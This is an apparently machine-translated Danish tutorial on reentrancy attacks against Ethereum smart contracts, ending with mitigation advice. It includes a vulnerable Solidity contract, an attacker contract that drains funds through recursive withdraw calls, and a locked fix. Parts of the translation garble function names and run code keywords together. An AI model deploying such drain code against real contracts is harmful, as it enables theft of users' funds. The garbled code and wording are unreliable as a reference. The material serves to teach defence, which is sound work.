Her er, hvordan et af de mest almindelige smarte kontrakthack, der koster Web 3-virksomheder millioner, finder sted...

Nogle af de største hacks i blockchain-industrien, hvor cryptocurrency-tokens for millioner af dollars blev stjålet, var resultatet af reentrancy-angreb. Selvom disse hacks er blevet mindre almindelige i de senere år, udgør de stadig en betydelig trussel mod blockchain-applikationer og -brugere.

Så hvad er reentrancy-angreb helt præcist? Hvordan er de indsat? Og er der nogen foranstaltninger, udviklere kan tage for at forhindre dem i at ske?

Hvad er et reentrancy-angreb?

Et reentrancy-angreb opstår, når en sårbar smart kontraktfunktion foretager et eksternt opkald til en ondsindet kontrakt og opgiver midlertidigt kontrollen over transaktionsflowet. Den ondsindede kontrakt kalder derefter gentagne gange den originale smarte kontraktfunktion, før den afslutter eksekveringen, mens den dræner sine midler.

I det væsentlige følger en tilbagetrækningstransaktion på Ethereum blockchain en tre-trins cyklus: saldobekræftelse, remittering og saldoopdatering. Hvis en cyberkriminel kan kapre cyklussen før saldoopdateringen, kan de gentagne gange hæve penge, indtil en pung er drænet.

instagram viewer

Billedkredit: Etherscan

Et af de mest berygtede blockchain-hack, Ethereum DAO-hacket, som dækket af Coindesk, var et reentrancy-angreb, der førte til et tab på over 60 millioner dollars af eth og fundamentalt ændrede kursen for den næststørste kryptovaluta.

Hvordan fungerer et reentrancy-angreb?

Forestil dig en bank i din hjemby, hvor dydige lokale beholder deres penge; dens samlede likviditet er $1 mio. Banken har dog et mangelfuldt regnskabssystem - personalet venter til aften med at opdatere banksaldi.

Din investorven besøger byen og opdager regnskabsfejlen. Han opretter en konto og indsætter $100.000. En dag senere hæver han 100.000 dollars. Efter en time gør han endnu et forsøg på at hæve $100.000. Da banken ikke har opdateret hans saldo, lyder den stadig på $100.000. Så han får pengene. Det gør han gentagne gange, indtil der ikke er nogen penge tilbage. Medarbejdere indser først, at der ikke er penge, når de balancerer bøgerne om aftenen.

I forbindelse med en smart kontrakt går processen som følger:

  1. En cyberkriminel identificerer en smart kontrakt "X" med en sårbarhed.
  2. Angriberen indleder en legitim transaktion til målkontrakten, X, for at sende penge til en ondsindet kontrakt, "Y". Under udførelsen kalder Y den sårbare funktion i X.
  3. X's kontraktudførelse er sat på pause eller forsinket, da kontrakten venter på interaktion med den eksterne begivenhed
  4. Mens eksekveringen er sat på pause, kalder angriberen gentagne gange den samme sårbare funktion i X, hvilket igen udløser dens eksekvering så mange gange som muligt
  5. Med hver genindtastning manipuleres kontraktens tilstand, hvilket giver angriberen mulighed for at dræne penge fra X til Y
  6. Når midlerne er opbrugt, stopper genindtastningen, X's forsinkede udførelse afsluttes endelig, og kontraktens tilstand opdateres baseret på den sidste genindtastning.

Generelt udnytter hackeren succesfuldt genindtrædens sårbarhed til deres fordel og stjæler penge fra kontrakten.

Et eksempel på et reentrancy-angreb

Så hvordan kan et reentrancy-angreb rent teknisk forekomme, når det implementeres? Her er en hypotetisk smart kontrakt med en reentrancy gateway. Vi bruger aksiomatisk navngivning for at gøre det nemmere at følge med.

// Vulnerable contract with a reentrancy vulnerability

pragmasolidity ^0.8.0;

contract VulnerableContract {
mapping(address => uint256) private balances;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}

Det Sårbar kontrakt lader brugere indsætte eth i kontrakten ved hjælp af depositum fungere. Brugere kan derefter trække deres deponerede eth ved hjælp af trække sig tilbage fungere. Der er dog en sårbarhed for genindtræden i trække sig tilbage fungere. Når en bruger trækker sig, overfører kontrakten det anmodede beløb til brugerens adresse, før saldoen opdateres, hvilket skaber en mulighed for en hacker at udnytte.

Nu, her er, hvordan en angribers smarte kontrakt ville se ud.

// Attacker's contract to exploit the reentrancy vulnerability

pragmasolidity ^0.8.0;

interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}

contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;

constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}

// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();

// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}

// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}

// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}

Når angrebet lanceres:

  1. Det Angriberkontrakt tager adressen på Sårbar kontrakt i sin konstruktør og gemmer den i sårbar Kontrakt variabel.
  2. Det angreb funktionen kaldes af angriberen og afsætter noget eth i Sårbar kontrakt bruger depositum funktion og derefter straks kalde trække sig tilbage funktion af Sårbar kontrakt.
  3. Det trække sig tilbage funktion i Sårbar kontrakt overfører den ønskede mængde eth til angriberens Angriberkontrakt før opdatering af saldoen, men da angriberens kontrakt er sat på pause under det eksterne opkald, er funktionen endnu ikke færdig.
  4. Det modtage funktion i Angriberkontrakt udløses, fordi Sårbar kontrakt sendte eth til denne kontrakt under det eksterne opkald.
  5. Modtagefunktionen kontrollerer, om Angriberkontrakt balance er mindst 1 ether (det beløb, der skal trækkes ud), så kommer det ind igen Sårbar kontrakt ved at kalde den trække sig tilbage funktion igen.
  6. Trin tre til fem gentages indtil Sårbar kontrakt løber tør for midler, og angriberens kontrakt akkumulerer en betydelig mængde eth.
  7. Endelig kan angriberen ringe til trække Stålet Midler funktion i Angriberkontrakt at stjæle alle de midler, der er akkumuleret i deres kontrakt.

Angrebet kan ske meget hurtigt, afhængigt af netværkets ydeevne. Når man involverer komplekse smarte kontrakter såsom DAO Hack, som førte til Ethereums hårde gaffel ind i Ethereum og Ethereum Classic, sker angrebet over flere timer.

Sådan forhindrer du et genindtrædensangreb

For at forhindre et genindtræden angreb er vi nødt til at ændre den sårbare smarte kontrakt for at følge bedste praksis for sikker udvikling af smart kontrakt. I dette tilfælde bør vi implementere "checks-effects-interactions"-mønsteret som i koden nedenfor.

// Secure contract with the "checks-effects-interactions" pattern

pragmasolidity ^0.8.0;

contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");

// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;

// Perform the state change
balances[msg.sender] -= amount;

// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");

// Unlock the sender's account
isLocked[msg.sender] = false;
}
}

I denne faste version har vi introduceret en er Låst kortlægning for at spore, om en bestemt konto er i gang med en udbetaling. Når en bruger starter en tilbagetrækning, kontrollerer kontrakten, om deres konto er låst (!isLocked[msg.sender]), hvilket indikerer, at ingen anden hævning fra den samme konto i øjeblikket er i gang.

Hvis kontoen ikke er låst, fortsætter kontrakten med tilstandsændringen og ekstern interaktion. Efter tilstandsændringen og ekstern interaktion låses kontoen op igen, hvilket muliggør fremtidige udbetalinger.

Typer af reentrancy-angreb

Billedkredit: Ivan Radic/Flickr

Generelt er der tre hovedtyper af reentrancy-angreb baseret på deres karakter af udnyttelse.

  1. Enkelt tilbagevendende angreb: I dette tilfælde er den sårbare funktion, som angriberen gentagne gange kalder, den samme, som er modtagelig for genindgangs-gatewayen. Angrebet ovenfor er et eksempel på et enkelt genindtræden angreb, som nemt kan forhindres ved at implementere korrekte kontroller og låse i kode.
  2. Angreb på tværs af funktioner: I dette scenarie udnytter en angriber en sårbar funktion til at kalde en anden funktion inden for samme kontrakt, som deler en tilstand med den sårbare. Den anden funktion, kaldet af angriberen, har en ønskværdig effekt, hvilket gør den mere attraktiv for udnyttelse. Dette angreb er mere komplekst og sværere at opdage, så strenge kontroller og låse på tværs af indbyrdes forbundne funktioner er nødvendige for at afbøde det.
  3. Angreb på tværs af kontrakter: Dette angreb opstår, når en ekstern kontrakt interagerer med en sårbar kontrakt. Under denne interaktion kaldes den sårbare kontrakts tilstand i den eksterne kontrakt, før den er fuldt opdateret. Det sker normalt, når flere kontrakter deler den samme variabel, og nogle opdaterer den delte variabel på en usikker måde. Sikre kommunikationsprotokoller mellem kontrakter og periodiske smart kontraktrevision skal implementeres for at afbøde dette angreb.

Reentrancy-angreb kan vise sig i forskellige former og kræver derfor specifikke foranstaltninger for at forhindre hver enkelt.

Forbliv sikker mod genindtræden angreb

Reentrancy-angreb har forårsaget betydelige økonomiske tab og undermineret tilliden til blockchain-applikationer. For at beskytte kontrakter skal udviklere vedtage bedste praksis flittigt for at undgå sårbarheder ved genindtræden.

De bør også implementere sikre tilbagetrækningsmønstre, bruge betroede biblioteker og udføre grundige revisioner for at styrke den smarte kontrakts forsvar yderligere. At holde sig informeret om nye trusler og være proaktiv med sikkerhedsindsatsen kan naturligvis sikre, at de også opretholder blockchain-økosystemernes integritet.